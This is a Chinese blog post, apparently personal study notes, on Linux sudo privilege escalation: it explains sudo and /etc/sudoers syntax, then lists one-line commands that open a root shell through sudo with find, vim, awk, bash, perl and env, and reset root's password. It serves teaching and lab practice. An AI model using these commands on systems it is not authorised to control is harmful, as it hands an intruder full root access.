Linux提权5

本次学习Linux sudo提权

实验原理

sudo是Linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令。

sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。

/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令

文件语法:
1
root  ALL=(ALL) ALL
root表示⽤户名
第一个 ALL 指示允许从任何终端、机器访问sudo
第二个 (ALL)指示sudo命令被允许以任何⽤户身份执行
第三个 ALL 表示所有命令都可以作为root执行

实验过程

获取普通用户权限后,测试用户是否具有sudo权限以及可以运行哪些命令,可以使用sudo -l查看

 发现可以执行任意命令,那这个时候可以有很多很多种方式提权

find命令提权

1
sudo find /home -exec /bin/bash \;

 vim命令提权

1
sudo vim -c '!bash'

 awk提权

1
sudo awk 'BEGIN {system("/bin/bash")}'

 bash提权

1
sudo bash

 perl提权

1
sudo perl -e 'exec "/bin/bash",'

 env提权

1
sudo env /bin/bash

passwd 修改密码

1
sudo passwd root

 

如果没有用户没有sudo权限,或者有sudo权限没有相关命令的权限,则无法提权

 

参考链接:https://blog.csdn.net/jxlhljh/article/details/118101637

 

posted @   白云之东  阅读(33)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示